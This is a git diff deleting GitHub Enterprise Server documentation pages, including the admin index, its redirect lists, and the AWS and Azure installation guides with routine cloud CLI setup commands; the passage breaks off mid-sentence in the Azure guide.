/admin/configuring-settings/hardening-security-for-your-enterprise/troubleshooting-tls-errors - - /admin/configuring-settings/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer - - /admin/monitoring-and-managing-your-instance/configuring-high-availability/about-high-availability-configuration - - /admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-the-monitor-dashboards - - /admin/monitoring-and-managing-your-instance/configuring-high-availability/creating-a-high-availability-replica - - /admin/monitoring-and-managing-your-instance/configuring-clustering/differences-between-clustering-and-high-availability-ha - - /admin/upgrading-your-instance/preparing-to-upgrade/enabling-automatic-update-checks - - /admin/monitoring-and-managing-your-instance/configuring-high-availability/initiating-a-failover-to-your-replica-appliance - - /admin/monitoring-and-managing-your-instance/monitoring-your-instance/recommended-alert-thresholds - - /admin/monitoring-and-managing-your-instance/monitoring-your-instance/setting-up-external-monitoring - - /admin/upgrading-your-instance/preparing-to-upgrade/overview-of-the-upgrade-process - - /admin/upgrading-your-instance/preparing-to-upgrade/upgrade-requirements - - /admin/upgrading-your-instance/preparing-to-upgrade/taking-a-snapshot - - /admin/upgrading-your-instance/performing-an-upgrade - - /admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-system-logs - - /support/learning-about-github-support/about-github-support - - /admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise - - /admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled - - /admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect - - /admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise - - /admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server - - /admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/high-availability-for-github-actions - - /admin/managing-github-actions-for-your-enterprise/advanced-configuration-and-troubleshooting/using-a-staging-environment - - /admin/overview/about-data-residency - - /admin/managing-your-enterprise-account/about-enterprise-accounts - - /admin/getting-started-with-enterprise/about-upgrades-to-new-releases - - /admin/configuring-packages/configuring-package-ecosystem-support-for-your-enterprise - - /admin/configuring-packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages - - /admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks - - /admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment - - /admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script - - /admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise - - /admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise - - /admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise - - /admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise - - /admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise - - /admin/enforcing-policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise - - /admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-your-instance - - /admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/auditing-ssh-keys - - /admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/auditing-users-across-your-enterprise - - /admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise - - /admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership - - /admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise - - /admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-dormant-users - - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise - - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise - - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise - - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise - - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise - - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise - - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise - - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise - - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/activity-dashboard - - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/viewing-push-logs - - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/log-forwarding - - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/managing-global-webhooks - - /admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise - - /admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/managing-projects-using-jira - - /admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise - - /admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise - - /admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise - - /admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise - - /admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-people-in-your-enterprise - - /admin/user-management/managing-repositories-in-your-enterprise/migrating-to-internal-repositories - - /admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization - - /admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations - - /admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/rebuilding-contributions-data - - /admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization - - /admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/suspending-and-unsuspending-users - - /admin/managing-your-enterprise-account/creating-an-enterprise-account - - /admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/restoring-a-deleted-organization - - /admin/administering-your-instance/administering-your-instance-from-the-web-ui/about-the-management-console - - /admin/administering-your-instance/administering-your-instance-from-the-web-ui/managing-access-to-the-management-console - - /admin/administering-your-instance/administering-your-instance-from-the-web-ui/accessing-the-management-console - - /admin/administering-your-instance/administering-your-instance-from-the-web-ui/troubleshooting-access-to-the-management-console ---- - diff --git a/content/admin/index.md b/content/admin/index.md deleted file mode 100644 index d52b9fe90607..000000000000 --- a/content/admin/index.md +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: Enterprise administrator documentation -shortTitle: Enterprise administrators -intro: 'Documentation and guides for enterprise administrators{% ifversion ghes %}, system administrators,{% endif %} and security specialists who {% ifversion ghes %}deploy, {% endif %}configure{% ifversion ghes %},{% endif %} and manage {% data variables.product.prodname_enterprise %}.' -redirect_from: - - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise - - /github/installing-and-configuring-github-insights/exploring-your-usage-of-github-enterprise - - /github/installing-and-configuring-github-insights/metrics-available-with-github-insights - - /github/installing-and-configuring-github-insights/key-metrics-for-collaboration-in-pull-requests - - /github/installing-and-configuring-github-insights/viewing-and-filtering-key-metrics-and-reports - - /github/installing-and-configuring-github-insights/github-insights-and-data-protection-for-your-organization - - /github/site-policy/github-insights-and-data-protection-for-your-organization - - /insights/installing-and-configuring-github-insights/configuring-the-connection-between-github-insights-and-github-enterprise - - /github/installing-and-configuring-github-insights/navigating-between-github-insights-and-github-enterprise - - /github/installing-and-configuring-github-insights/enabling-a-link-between-github-insights-and-github-enterprise - - /insights/installing-and-configuring-github-insights/enabling-a-link-between-github-insights-and-github-enterprise - - /insights/installing-and-configuring-github-insights/managing-permissions-in-github-insights - - /github/installing-and-configuring-github-insights/about-github-insights - - /insights/installing-and-configuring-github-insights/about-github-insights - - /github/installing-and-configuring-github-insights/installing-github-insights - - /insights/installing-and-configuring-github-insights/installing-github-insights - - /github/installing-and-configuring-github-insights/system-overview-for-github-insights - - /insights/installing-and-configuring-github-insights/system-overview-for-github-insights - - /github/installing-and-configuring-github-insights/updating-github-insights - - /insights/installing-and-configuring-github-insights/updating-github-insights - - /insights/installing-and-configuring-github-insights/about-data-in-github-insights - - /github/installing-and-configuring-github-insights/managing-data-in-github-insights - - /github/installing-and-configuring-github-insights/managing-settings-in-github-insights - - /insights/installing-and-configuring-github-insights/managing-available-metrics-and-reports - - /github/installing-and-configuring-github-insights/managing-contributors-and-teams - - /insights/installing-and-configuring-github-insights/managing-contributors-and-teams - - /github/installing-and-configuring-github-insights/creating-and-managing-events - - /insights/installing-and-configuring-github-insights/managing-events - - /github/installing-and-configuring-github-insights/creating-and-managing-goals - - /insights/installing-and-configuring-github-insights/managing-goals - - /github/installing-and-configuring-github-insights/managing-organizations - - /insights/installing-and-configuring-github-insights/managing-organizations - - /github/installing-and-configuring-github-insights/managing-repositories - - /insights/installing-and-configuring-github-insights/managing-repositories - - /insights/exploring-your-usage-of-github-enterprise - - /insights/exploring-your-usage-of-github-enterprise/metrics-available-with-github-insights - - /insights/exploring-your-usage-of-github-enterprise/navigating-between-github-enterprise-and-github-insights - - /insights/exploring-your-usage-of-github-enterprise/setting-your-timezone-for-github-insights - - /insights/exploring-your-usage-of-github-enterprise/viewing-key-metrics-and-reports - - /insights - - /insights/installing-and-configuring-github-insights/configuring-github-insights/configuring-the-connection-between-github-insights-and-github-enterprise - - /insights/installing-and-configuring-github-insights/configuring-github-insights/enabling-a-link-between-github-insights-and-github-enterprise - - /insights/installing-and-configuring-github-insights/configuring-github-insights - - /insights/installing-and-configuring-github-insights/configuring-github-insights/managing-permissions-in-github-insights - - /insights/installing-and-configuring-github-insights - - /insights/installing-and-configuring-github-insights/installing-and-updating-github-insights/about-github-insights - - /insights/installing-and-configuring-github-insights/installing-and-updating-github-insights - - /insights/installing-and-configuring-github-insights/installing-and-updating-github-insights/installing-github-insights - - /insights/installing-and-configuring-github-insights/installing-and-updating-github-insights/system-overview-for-github-insights - - /insights/installing-and-configuring-github-insights/installing-and-updating-github-insights/updating-github-insights - - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/about-data-in-github-insights - - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights - - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-available-metrics-and-reports - - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-contributors-and-teams - - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-events - - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-goals - - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-organizations - - /insights/installing-and-configuring-github-insights/managing-data-in-github-insights/managing-repositories - - /admin/configuration/configuring-your-enterprise/configuring-data-encryption-for-your-enterprise -introLinks: - overview: '{% ifversion ghes %}/admin/overview/about-github-enterprise-server{% elsif ghec %}/admin/overview/about-github-enterprise-cloud{% endif %}' - releases: '{% ifversion ghes %}/admin/all-releases{% endif %}' - try_ghec_for_free: '{% ifversion ghec %}https://github.com/account/enterprises/new?ref_cta=GHEC+trial&ref_loc=enterprise+administrators+landing+page&ref_page=docs{% endif %}' -changelog: - label: enterprise -featuredLinks: - startHere: - - '{% ifversion ghec %}/admin/managing-iam/understanding-iam-for-enterprises/choosing-an-enterprise-type-for-github-enterprise-cloud{% endif %}' - - /admin/managing-iam/understanding-iam-for-enterprises/about-identity-and-access-management - - '{% ifversion ghec %}/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise{% endif %}' - - /admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/best-practices-for-structuring-organizations-in-your-enterprise - - '{% ifversion ghes %}/admin/getting-started-with-enterprise/about-upgrades-to-new-releases{% endif %}' - - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise{% endif %}' - guideCards: - - '{% ifversion ghes %}/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server{% endif %}' - - '{% ifversion ghes %}/admin/configuring-packages/getting-started-with-github-packages-for-your-enterprise{% endif %}' - - '{% ifversion ghes %}/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise{% endif %}' - - '{% ifversion ghec %}/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise{% endif %}' - - '{% ifversion ghec %}/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise{% endif %}' - - '{% ifversion ghec %}/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise{% endif %}' - popular: - - /admin/getting-started-with-enterprise/about-github-enterprise-server - - '{% ifversion ghes %}/admin/getting-started-with-enterprise/setting-up-a-trial-of-github-enterprise-server{% endif %}' - - '{% ifversion ghes %}/admin/installing-your-enterprise-server{% endif %}' - - '{% ifversion ghec %}/admin/configuring-settings/configuring-user-applications-for-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise{% endif %}' - - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise - - '{% ifversion ghec %}/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/managing-global-webhooks{% endif %}' - - '{% ifversion ghec %}/billing/managing-billing-for-your-products/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise{% endif %}' - - /support/learning-about-github-support/about-github-support - - /admin/administering-your-instance/administering-your-instance-from-the-command-line/command-line-utilities -layout: product-landing -versions: - ghec: '*' - ghes: '*' -children: - - /overview - - /data-residency - - /managing-your-enterprise-account - - /installing-your-enterprise-server - - /configuring-settings - - /administering-your-instance - - /managing-iam - - /managing-accounts-and-repositories - - /upgrading-your-instance - - /backing-up-and-restoring-your-instance - - /enforcing-policies - - /monitoring-activity-in-your-enterprise - - /monitoring-and-managing-your-instance - - /managing-github-actions-for-your-enterprise - - /configuring-packages - - /managing-code-security - - /copilot-business-only - - /guides - - /release-notes - - /all-releases ---- - diff --git a/content/admin/installing-your-enterprise-server/index.md b/content/admin/installing-your-enterprise-server/index.md deleted file mode 100644 index eb647cde7dd8..000000000000 --- a/content/admin/installing-your-enterprise-server/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: 'Installing {% data variables.product.prodname_enterprise %}' -allowTitleToDifferFromFilename: true -shortTitle: Installation -intro: 'System administrators and operations and security specialists can install {% data variables.product.prodname_ghe_server %}.' -redirect_from: - - /enterprise/admin-guide - - /enterprise/admin/guides/installation - - /enterprise/admin/categories/customization - - /enterprise/admin/categories/general - - /enterprise/admin/categories/logging-and-monitoring - - /enterprise/admin/installation - - /admin/installation -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Set up -children: - - /setting-up-a-github-enterprise-server-instance ---- -For more information, or to purchase {% data variables.product.prodname_enterprise %}, see [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise). - -{% data reusables.enterprise_installation.request-a-trial %} - -If you have questions about the installation process, see [AUTOTITLE](/support). diff --git a/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/index.md b/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/index.md deleted file mode 100644 index 2a3a38c8c284..000000000000 --- a/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Setting up a GitHub Enterprise Server instance -intro: 'You can install {% data variables.product.prodname_ghe_server %} on the supported virtualization platform of your choice.' -redirect_from: - - /enterprise/admin/installation/getting-started-with-github-enterprise-server - - /enterprise/admin/guides/installation/supported-platforms - - /enterprise/admin/guides/installation/provisioning-and-installation - - /enterprise/admin/guides/installation/setting-up-a-github-enterprise-instance - - /enterprise/admin/installation/setting-up-a-github-enterprise-server-instance - - /admin/installation/setting-up-a-github-enterprise-server-instance -versions: - ghes: '*' -topics: - - Enterprise -children: - - /installing-github-enterprise-server-on-aws - - /installing-github-enterprise-server-on-azure - - /installing-github-enterprise-server-on-google-cloud-platform - - /installing-github-enterprise-server-on-hyper-v - - /installing-github-enterprise-server-on-openstack-kvm - - /installing-github-enterprise-server-on-vmware - - /setting-up-a-staging-instance -shortTitle: Set up an instance ---- - diff --git a/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md b/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md deleted file mode 100644 index 36e8f857c5e5..000000000000 --- a/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Installing GitHub Enterprise Server on AWS -intro: 'To install {% data variables.product.prodname_ghe_server %} on Amazon Web Services (AWS), you must launch an Amazon Elastic Compute Cloud (EC2) instance and create and attach a separate Amazon Elastic Block Store (EBS) data volume.' -redirect_from: - - /enterprise/admin/guides/installation/installing-github-enterprise-on-aws - - /enterprise/admin/installation/installing-github-enterprise-server-on-aws - - /admin/installation/installing-github-enterprise-server-on-aws - - /admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws -versions: - ghes: '*' -type: tutorial -topics: - - Administrator - - Enterprise - - Infrastructure - - Set up -shortTitle: Install on AWS ---- -## Prerequisites - -* {% data reusables.enterprise_installation.software-license %} -* You must have an AWS account capable of launching EC2 instances and creating EBS volumes. For more information, see the [Amazon Web Services website](https://aws.amazon.com/). -* Most actions needed to launch {% data variables.location.product_location %} may also be performed using the AWS management console. However, we recommend installing the AWS command line interface (CLI) for initial setup. Examples using the AWS CLI are included below. For more information, see Amazon's guides [Working with the AWS Management Console](https://docs.aws.amazon.com/awsconsolehelpdocs/latest/gsg/getting-started.html) and [What is the AWS Command Line Interface](https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html). - -This guide assumes you are familiar with the following AWS concepts: - -* [Launching EC2 Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/LaunchingAndUsingInstances.html) -* [Managing EBS Volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) -* [Using Security Groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) (For managing network access to your instance) -* [Elastic IP Addresses (EIP)](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) (Strongly recommended for production environments) -* [EC2 and Virtual Private Cloud](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html) (If you plan to launch into a Virtual Private Cloud) -* [AWS Pricing](https://aws.amazon.com/pricing/) (For calculating and managing costs) - -For a diagram that provides an architectural overview, see the [AWS Architecture Diagram for Deploying GitHub Enterprise Server](/assets/images/enterprise/enterprise-server/installing-github-enterprise-server-on-aws.png). - -This guide recommends the principle of least privilege when setting up {% data variables.location.product_location %} on AWS. For more information, refer to the [AWS Identity and Access Management (IAM) documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege). - -## Hardware considerations - -{% data reusables.enterprise_installation.hardware-considerations-all-platforms %} - -## Determining the instance type - -Before launching {% data variables.location.product_location %} on AWS, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum recommended requirements for {% data variables.product.prodname_ghe_server %}, see [Minimum recommended requirements](#minimum-recommended-requirements). - -{% data reusables.enterprise_installation.warning-on-scaling %} - -{% data reusables.enterprise_installation.aws-instance-recommendation %} - -## Selecting the {% data variables.product.prodname_ghe_server %} AMI - -You can select an Amazon Machine Image (AMI) for {% data variables.product.prodname_ghe_server %} using the {% data variables.product.prodname_ghe_server %} portal or the AWS CLI. - -AMIs for {% data variables.product.prodname_ghe_server %} are available in the AWS GovCloud (US-East and US-West) region. This allows US customers with specific regulatory requirements to run {% data variables.product.prodname_ghe_server %} in a federally compliant cloud environment. For more information on AWS's compliance with federal and other standards, see [AWS's GovCloud (US) page](https://aws.amazon.com/govcloud-us/) and [AWS's compliance page](https://aws.amazon.com/compliance/). - -### Using the {% data variables.product.prodname_ghe_server %} portal to select an AMI - -{% data reusables.enterprise_installation.download-appliance %} -1. Under "{% data variables.product.prodname_dotcom %} in the Cloud", select the "Select your platform" dropdown menu, and click **Amazon Web Services**. -1. Select the "Select your AWS region" drop-down menu, and click your desired region. -1. Take note of the AMI ID that is displayed. - -### Using the AWS CLI to select an AMI - -1. Using the AWS CLI, get a list of {% data variables.product.prodname_ghe_server %} images published by {% data variables.product.prodname_dotcom %}'s AWS owner IDs (`025577942450` for GovCloud, and `895557238572` for other regions). For more information, see [describe-images](https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-images.html) in the AWS documentation. - - ```shell - aws ec2 describe-images \ - --owners OWNER_ID \ - --query 'sort_by(Images,&Name)[*].{Name:Name,ImageID:ImageId}' \ - --output=text - ``` - -1. Take note of the AMI ID for the latest {% data variables.product.prodname_ghe_server %} image. - -## Creating a security group - -If you're setting up your AMI for the first time, you will need to create a security group and add a new security group rule for each port in the table below. For more information, see the AWS guide [Using Security Groups](https://docs.aws.amazon.com/cli/latest/userguide/cli-ec2-sg.html). - -1. Using the AWS CLI, create a new security group. For more information, see [create-security-group](https://docs.aws.amazon.com/cli/latest/reference/ec2/create-security-group.html) in the AWS documentation. - - ```shell - aws ec2 create-security-group --group-name SECURITY_GROUP_NAME --description "SECURITY GROUP DESCRIPTION" - ``` - -1. Take note of the security group ID (`sg-xxxxxxxx`) of your newly created security group. - -1. Create a security group rule for each of the ports in the table below. We recommend opening network ports selectively based on the network services you need to expose for administrative and user purposes. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/network-ports#administrative-ports), and [authorize-security-group-ingress](https://docs.aws.amazon.com/cli/latest/reference/ec2/authorize-security-group-ingress.html) in the AWS documentation. - - ```shell - aws ec2 authorize-security-group-ingress --group-id SECURITY_GROUP_ID --protocol PROTOCOL --port PORT_NUMBER --cidr SOURCE IP RANGE - ``` - - This table identifies what each port is used for. - - {% data reusables.enterprise_installation.necessary_ports %} - -## Creating the {% data variables.product.prodname_ghe_server %} instance - -To create the instance, you'll need to launch an EC2 instance with your {% data variables.product.prodname_ghe_server %} AMI and attach an additional storage volume for your instance data. For more information, see [Hardware considerations](#hardware-considerations). - -> [!NOTE] -> You can encrypt the data disk to gain an extra level of security and ensure that any data you write to your instance is protected. There is a slight performance impact when using encrypted disks. If you decide to encrypt your volume, we strongly recommend doing so **before** starting your instance for the first time. For more information, see the [Amazon guide on EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html). - -> [!WARNING] -> If you decide to enable encryption after you've configured your instance, you will need to migrate your data to the encrypted volume, which will incur some downtime for your users. - -### Launching an EC2 instance - -In the AWS CLI, launch an EC2 instance using your AMI and the security group you created. Attach a new block device to use as a storage volume for your instance data, and configure the size based on your user license count. For more information, see [run-instances](https://docs.aws.amazon.com/cli/latest/reference/ec2/run-instances.html) in the AWS documentation. - -```shell -aws ec2 run-instances \ - --security-group-ids SECURITY_GROUP_ID \ - --instance-type INSTANCE_TYPE \ - --image-id AMI_ID \ - --block-device-mappings '[{"DeviceName":"/dev/xvdf","Ebs":{"VolumeSize":SIZE,"VolumeType":"TYPE"}}]' \ - --region REGION \ - --ebs-optimized -``` - -### Allocating an Elastic IP and associating it with the instance - -If this is a production instance, we strongly recommend allocating an Elastic IP (EIP) and associating it with the instance before proceeding to {% data variables.product.prodname_ghe_server %} configuration. Otherwise, the public IP address of the instance will not be retained after instance restarts. For more information, see [Allocating an Elastic IP Address](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-allocating) and [Associating an Elastic IP Address with a Running Instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-associating) in the Amazon documentation. - -Both primary and replica instances should be assigned separate EIPs in production High Availability configurations. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability). - -## Configuring the {% data variables.product.prodname_ghe_server %} instance - -{% data reusables.enterprise_installation.new-instance-config-summary %} - -{% data reusables.enterprise_installation.new-instance-attack-vector-warning %} - -{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} -{% data reusables.enterprise_installation.upload-a-license-file %} -{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise). -{% data reusables.enterprise_installation.instance-will-restart-automatically %} -{% data reusables.enterprise_installation.visit-your-instance %} - -## Further reading - -* [AUTOTITLE](/admin/overview/system-overview) -* [AUTOTITLE](/admin/overview/about-upgrades-to-new-releases) diff --git a/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md b/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md deleted file mode 100644 index 6b26c127e0ee..000000000000 --- a/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Installing GitHub Enterprise Server on Azure -intro: 'To install {% data variables.product.prodname_ghe_server %} on Azure, you must deploy onto a memory-optimized instance that supports premium storage.' -redirect_from: - - /enterprise/admin/guides/installation/installing-github-enterprise-on-azure - - /enterprise/admin/installation/installing-github-enterprise-server-on-azure - - /admin/installation/installing-github-enterprise-server-on-azure - - /admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure -versions: - ghes: '*' -type: tutorial -topics: - - Administrator - - Enterprise - - Infrastructure - - Set up -shortTitle: Install on Azure ---- -You can deploy {% data variables.product.prodname_ghe_server %} on global Azure or Azure Government. - -## Prerequisites - -* {% data reusables.enterprise_installation.software-license %} -* You must have an Azure account capable of provisioning new machines. For more information, see the [Microsoft Azure website](https://azure.microsoft.com). -* Most actions needed to launch your virtual machine (VM) may also be performed using the Azure Portal. However, we recommend installing the Azure command line interface (CLI) for initial setup. Examples using the Azure CLI 2.0 are included below. For more information, see Azure's guide [Install Azure CLI 2.0](https://docs.microsoft.com/cli/azure/install-azure-cli?view=azure-cli-latest). - -## Hardware considerations - -{% data reusables.enterprise_installation.hardware-considerations-all-platforms %} - -## Determining the virtual machine type - -Before launching {% data variables.location.product_location %} on Azure, you'll need to determine the machine type that best fits the needs of your organization. For more information about memory optimized machines, see [Memory optimized virtual machine sizes](https://docs.microsoft.com/en-gb/azure/virtual-machines/sizes-memory) in the Microsoft Azure documentation. To review the minimum resource requirements for {% data variables.product.prodname_ghe_server %}, see [Minimum recommended requirements](#minimum-recommended-requirements). - -{% data reusables.enterprise_installation.warning-on-scaling %} - -{% data reusables.enterprise_installation.azure-instance-recommendation %} - -## Creating the {% data variables.product.prodname_ghe_server %} virtual machine - -{% data reusables.enterprise_installation.create-ghe-instance %} - -1. Find the most recent {% data variables.product.prodname_ghe_server %} appliance image. For more information about the `vm image list` command, see [`az vm image list`](https://docs.microsoft.com/cli/azure/vm/image?view=azure-cli-latest#az_vm_image_list) in the Microsoft documentation. - - ```shell - az vm image list --all -f GitHub-Enterprise | grep '"urn": "GitHub:' | sort -V - ``` - -1. Create a new VM using the appliance image you found. For more information, see [az vm create](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_create) in the Microsoft documentation. - - Pass in options for the name of your VM, the resource group, the size of your VM, the name of your preferred Azure region, the name of the appliance image VM you listed in the previous step, and the storage SKU for premium storage. For more information about resource groups, see [Resource groups](https://docs.microsoft.com/azure/azure-resource-manager/resource-group-overview#resource-groups) in the Microsoft documentation. - - ```shell - az vm create -n VM_NAME -g RESOURCE_GROUP --size VM_SIZE -l REGION --image APPLIANCE_IMAGE_NAME --storage-sku Premium_LRS - ``` - -1. Configure the security settings on your VM to open up required ports. We recommend opening network ports selectively based on the network services you need to expose for administrative and user purposes. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/network-ports#administrative-ports), and [az vm open-port](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_open_port) in the Microsoft documentation. See the table below for a description of each port to determine what ports you need to open. - - ```shell - az vm open-port -n VM_NAME -g RESOURCE_GROUP --port PORT_NUMBER - ``` - - This table identifies what each port is used for. - - {% data reusables.enterprise_installation.necessary_ports %} - -1. Create and attach a new unencrypted data disk to the VM, and configure the size based on your user license count. For more information, see [az vm disk attach](https://docs.microsoft.com/cli/azure/vm/disk?view=azure-cli-latest#az_vm_disk_attach) in the Microsoft documentation. - - Pass in options for the name of your VM (for example, `ghe-acme-corp`), the resource group, the premium storage SKU, the size of the disk (for example, `200`), and a name for the resulting VHD. - - ```shell - az vm disk attach --vm-name VM_NAME -g RESOURCE_GROUP --sku Premium_LRS --new -z SIZE_IN_GB --name ghe-data.vhd --caching ReadWrite - ``` - - > [!NOTE] - > For non-production instances to have sufficient I/O throughput, the recommended minimum disk size is 